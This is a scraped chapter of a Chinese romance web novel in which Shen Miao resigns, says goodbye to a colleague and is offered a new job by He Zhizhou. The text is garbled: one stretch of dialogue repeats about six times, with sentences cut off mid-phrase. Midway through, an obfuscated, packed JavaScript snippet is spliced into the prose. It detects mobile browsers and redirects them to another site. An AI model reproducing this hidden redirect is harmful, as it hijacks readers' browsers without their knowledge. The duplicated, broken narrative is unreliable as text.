仍旧不到上班的点,公司还空无一人。 沈渺的平底鞋踩在地板上,发出轻微的声响,声声变小,直至彻底消失在贺忱的耳朵里。 他目光微动,落在沈妙留下的那支黑色碳素笔上。 他拿过笔,指腹轻轻摩擦,目光极深又沉,看起来却没什么情绪。 审批流程最多两个工作日内。 当天下午,沈渺就接到人事部的通知,过来办理交接手续。 她其实没什么好交接的,毕竟也是刚接手公司不久。 何况已经休了产假,提前把工作交接好了。 但她还是往公司跑了一趟,拿了解约书后,跟李白恬交代一番。 “怎么说走就走了,也太突然了。” 李白恬一脸懵,“是不是韩文松搞的鬼?” 沈渺摇头,“不是,是自愿离职。” “贺总没留你吗?”李白恬亚历山大,“我就是临时打工的小喽喽,根本做不到让他满意。” “有任何不懂的,给我打电话,三更半夜都行。” 沈渺拍拍她肩膀,往贺忱办公室看了一眼。 办公室门紧闭,像是两个空间,完全隔开来。 “好了,走了。” 李白恬不知想到什么,快哭了。 沈渺果断走了,怕她落了泪影响工作。 李白恬正欲送她到公司楼下。 办公桌上的内线被打通,贺忱低沉富有磁性的声音传来,“进来。” 进来,进来一下,沈渺,过来。 诸如此类的话,沈渺听过不知多少次。 熟悉又陌生的感觉袭来,她进入电梯的动作一顿。 “哎呀,沈渺姐!”李白恬着急,送她不是,不送也不是,“你等我,我马上回来!” 沈渺回头,便看到她匆匆跑进贺忱办公室。 办公室的门一开一关,男人的身影被午后的阳光打在墙壁上。 一闪即过,沈渺收回目光,进入电梯离开。 她离职的事情,没跟商音说。 回到家,直接将一份离职协议书放在商音面前。 商音母爱泛滥,抱着商商猛亲,面前冷不丁多了一份文件。 她没当回事,“啥啊?给我念念。” “离职协议书,我和百荣的,这里有我跟贺忱的签字。” 沈渺翻到最后一页,看着贺忱的签字。 “**?”商音放下商商,把协议书抢过去,翻看一遍音调改为四声,“**!” “什么时候的事情?好端端怎么就离职了 ?” 商音站起来,打量着沈渺,“你,你没事吧?你要是难受就哭出来。” 沈渺摇摇头,她挺冷静的,大脑很平静。 但是心里还有些不得劲。 “毕竟是干了几年的工作,说走就走有些不舍得,属于正常现象吧?” 商音盯着她看,见她面上还算平静,松一口气,“正常,我让昭姐买点食材,晚上吃火锅庆祝一下。” 干了几年的工作会不舍是正常的。 喜欢了多年的人,说离婚就离婚,说以后不再见就不再见,肯定更不舍。 商音觉得她像瓷娃娃,悬在空中,虽然没摔呢,但有着快碎了的架势。 “行,庆祝一下。” 沈渺随她。 她拿过离职协议书,拍照给何之洲发过去。 没几秒钟,外面突然传来叫喊声。 “沈渺,沈渺你开门!” 沈渺起身走到窗边,一眼看到在她家门口狂敲门的何之洲。 何之洲穿着红花黄点的丝绸睡衣,头发乱糟糟的,不知情的还以为是哪个疯人院跑出来的。 “我在这儿。” 沈渺开了窗户,喊了他一声。 “忘了,你天天泡在她家。” 何之洲回头,小跑着穿过马路过来,站在窗外,突然就笑成包子脸。 “你真辞职了?我已经跟我爸说了,入职书马上就送过来,到时候你回京北办公,或者选个其他分公司都行。” 沈渺点头,“知道了。” “今晚庆祝一下?”何之洲眉飞色舞,一脸喜悦,“庆祝你脱离苦海。” “晚上吃火锅,你也一起过来吧。” 沈渺隔着窗户,伸出手去,“何总,以后请多多关照。” ?” 商音站起来,打量着沈渺,“你,你没事吧?你要是难受就哭出来。” 沈渺摇摇头,她挺冷静的,大脑很平静。 但是心里还有些不得劲。 “毕竟是干了几年的工作,说走就走有些不舍得,属于正常现象吧?” 商音盯着她看,见她面上还算平静,松一口气,“正常,我让昭姐买点食材,晚上吃火锅庆祝一下。” 干了几年的工作会不舍是正常的。 喜欢了多年的人,说离婚就离婚,说以后不再见就不再见,肯定更不舍。 商音觉得她像瓷娃娃,悬在空中,虽然没摔呢,但有着快碎了的架势。 “行,庆祝一下。” 沈渺随她。 她拿过离职协议书,拍照给何之洲发过去。 没几秒钟,外面突然传来叫喊声。 “沈渺,沈渺你开门!” 沈渺起身走到窗边,一眼看到在她家门口狂敲门的何之洲。 何之洲穿着红花黄点的丝绸睡衣,头发乱糟糟的,不知情的还以为是哪个疯人院跑出来的。 “我在这儿。” 沈渺开了窗户,喊了他一声。 “忘了,你天天泡在她家。” 何之洲回头,小跑着穿过马路过来,站在窗外,突然就笑成包子脸。 “你真辞职了?我已经跟我爸说了,入职书马上就送过来,到时候你回京北办公,或者选个其他分公司都行。” 沈渺点头,“知道了。” “今晚庆祝一下?”何之洲眉飞色舞,一脸喜悦,“庆祝你脱离苦海。” “晚上吃火锅,你也一起过来吧。” 沈渺隔着窗户,伸出手去,“何总,以后请多多关照。” ?” 商音站起来,打量着沈渺,“你,你没事吧?你要是难受就哭出来。” 沈渺摇摇头,她挺冷静的,大脑很平静。 但是心里还有些不得劲。 “毕竟是干了几年的工作,说走就走有些不舍得,属于正常现象吧?” 商音盯着她看,见她面上还算平静,松一口气,“正常,我让昭姐买点食材,晚上吃火锅庆祝一下。” 干了几年的工作会不舍是正常的。 喜欢了多年的人,说离婚就离婚,说以后不再见就不再见,肯定更不舍。 商音觉得她像瓷娃娃,悬在空中,虽然没摔呢,但有着快碎了的架势。 “行,庆祝一下。” 沈渺随她。 她拿过离职协议书,拍照给何之洲发过去。 没几秒钟,外面突然传来叫喊声。 “沈渺,沈渺你开门!” 沈渺起身走到窗边,一眼看到在她家门口狂敲门的何之洲。 何之洲穿着红花黄点的丝绸睡衣,头发乱糟糟的,不知情的还以为是哪个疯人院跑出来的。 “我在这儿。” 沈渺开了窗户,喊了他一声。 “忘了,你天天泡在她家。” 何之洲回头,小跑着穿过马路过来,站在窗外,突然就笑成包子脸。 “你真辞职了?我已经跟我爸说了,入职书马上就送过来,到时候你回京北办公,或者选个其他分公司都行。” 沈渺点头,“知道了。” “今晚庆祝一下?”何之洲眉飞色舞,一脸喜悦,“庆祝你脱离苦海。” “晚上吃火锅,你也一起过来吧。” 沈渺隔着窗户,伸出手去,“何总,以后请多多关照。” ?” 商音站起来,打量着沈渺,“你,你没事吧?你要是难受就哭出来。” 沈渺摇摇头,她挺冷静的,大脑很平静。 但是心里还有些不得劲。 “毕竟是干了几年的工作,说走就走有些不舍得,属于正常现象吧?” 商音盯着她看,见她面上还算平静,松一口气,“正常,我让昭姐买点食材,晚上吃火锅庆祝一下。” 干了几年的工作会不舍是正常的。 喜欢了多年的人,说离婚就离婚,说以后不再见就不再见,肯定更不舍。 商音觉得她像瓷娃娃,悬在空中,虽然没摔呢,但有着快碎了的架势。 “行,庆祝一下。” 沈渺随她。 她拿过离职协议书,拍照给何之洲发过去。 没几秒钟,外面突然传来叫喊声。 “沈渺,沈渺你开门!” 沈渺起身走到窗边,一眼看到在她家门口狂敲门的何之洲。 何之洲穿着红花黄点的丝绸睡衣,头发乱糟糟的,不知情的还以为是哪个疯人院跑出来的。 “我在这儿。” 沈渺开了窗户,喊了他一声。 “忘了,你天天泡在她家。” 何之洲回头,小跑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205420|197321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿过马路过来,站在窗外,突然就笑成包子脸。 “你真辞职了?我已经跟我爸说了,入职书马上就送过来,到时候你回京北办公,或者选个其他分公司都行。” 沈渺点头,“知道了。” “今晚庆祝一下?”何之洲眉飞色舞,一脸喜悦,“庆祝你脱离苦海。” “晚上吃火锅,你也一起过来吧。” 沈渺隔着窗户,伸出手去,“何总,以后请多多关照。” ?” 商音站起来,打量着沈渺,“你,你没事吧?你要是难受就哭出来。” 沈渺摇摇头,她挺冷静的,大脑很平静。 但是心里还有些不得劲。 “毕竟是干了几年的工作,说走就走有些不舍得,属于正常现象吧?” 商音盯着她看,见她面上还算平静,松一口气,“正常,我让昭姐买点食材,晚上吃火锅庆祝一下。” 干了几年的工作会不舍是正常的。 喜欢了多年的人,说离婚就离婚,说以后不再见就不再见,肯定更不舍。 商音觉得她像瓷娃娃,悬在空中,虽然没摔呢,但有着快碎了的架势。 “行,庆祝一下。” 沈渺随她。 她拿过离职协议书,拍照给何之洲发过去。 没几秒钟,外面突然传来叫喊声。 “沈渺,沈渺你开门!” 沈渺起身走到窗边,一眼看到在她家门口狂敲门的何之洲。 何之洲穿着红花黄点的丝绸睡衣,头发乱糟糟的,不知情的还以为是哪个疯人院跑出来的。 “我在这儿。” 沈渺开了窗户,喊了他一声。 “忘了,你天天泡在她家。” 何之洲回头,小跑着穿过马路过来,站在窗外,突然就笑成包子脸。 “你真辞职了?我已经跟我爸说了,入职书马上就送过来,到时候你回京北办公,或者选个其他分公司都行。” 沈渺点头,“知道了。” “今晚庆祝一下?”何之洲眉飞色舞,一脸喜悦,“庆祝你脱离苦海。” “晚上吃火锅,你也一起过来吧。” 沈渺隔着窗户,伸出手去,“何总,以后请多多关照。” ?” 商音站起来,打量着沈渺,“你,你没事吧?你要是难受就哭出来。” 沈渺摇摇头,她挺冷静的,大脑很平静。 但是心里还有些不得劲。 “毕竟是干了几年的工作,说走就走有些不舍得,属于正常现象吧?” 商音盯着她看,见她面上还算平静,松一口气,“正常,我让昭姐买点食材,晚上吃火锅庆祝一下。” 干了几年的工作会不舍是正常的。 喜欢了多年的人,说离婚就离婚,说以后不再见就不再见,肯定更不舍。 商音觉得她像瓷娃娃,悬在空中,虽然没摔呢,但有着快碎了的架势。 “行,庆祝一下。” 沈渺随她。 她拿过离职协议书,拍照给何之洲发过去。 没几秒钟,外面突然传来叫喊声。 “沈渺,沈渺你开门!” 沈渺起身走到窗边,一眼看到在她家门口狂敲门的何之洲。 何之洲穿着红花黄点的丝绸睡衣,头发乱糟糟的,不知情的还以为是哪个疯人院跑出来的。 “我在这儿。” 沈渺开了窗户,喊了他一声。 “忘了,你天天泡在她家。” 何之洲回头,小跑着穿过马路过来,站在窗外,突然就笑成包子脸。 “你真辞职了?我已经跟我爸说了,入职书马上就送过来,到时候你回京北办公,或者选个其他分公司都行。” 沈渺点头,“知道了。” “今晚庆祝一下?”何之洲眉飞色舞,一脸喜悦,“庆祝你脱离苦海。” “晚上吃火锅,你也一起过来吧。” 沈渺隔着窗户,伸出手去,“何总,以后请多多关照。” ?” 商音站起来,打量着沈渺,“你,你没事吧?你要是难受就哭出来。” 沈渺摇摇头,她挺冷静的,大脑很平静。 但是心里还有些不得劲。 “毕竟是干了几年的工作,说走就走有些不舍得,属于正常现象吧?” 商音盯着她看,见她面上还算平静,松一口气,“正常,我让昭姐买点食材,晚上吃火锅庆祝一下。” 干了几年的工作会不舍是正常的。 喜欢了多年的人,说离婚就离婚,说以后不再见就不再见,肯定更不舍。 商音觉得她像瓷娃娃,悬在空中,虽然没摔呢,但有着快碎了的架势。 “行,庆祝一下。” 沈渺随她。 她拿过离职协议书,拍照给何之洲发过去。 没几秒钟,外面突然传来叫喊声。 “沈渺,沈渺你开门!” 沈渺起身走到窗边,一眼看到在她家门口狂敲门的何之洲。 何之洲穿着红花黄点的丝绸睡衣,头发乱糟糟的,不知情的还以为是哪个疯人院跑出来的。 “我在这儿。” 沈渺开了窗户,喊了他一声。 “忘了,你天天泡在她家。” 何之洲回头,小跑着穿过马路过来,站在窗外,突然就笑成包子脸。 “你真辞职了?我已经跟我爸说了,入职书马上就送过来,到时候你回京北办公,或者选个其他分公司都行。” 沈渺点头,“知道了。” “今晚庆祝一下?”何之洲眉飞色舞,一脸喜悦,“庆祝你脱离苦海。” “晚上吃火锅,你也一起过来吧。” 沈渺隔着窗户,伸出手去,“何总,以后请多多关照。”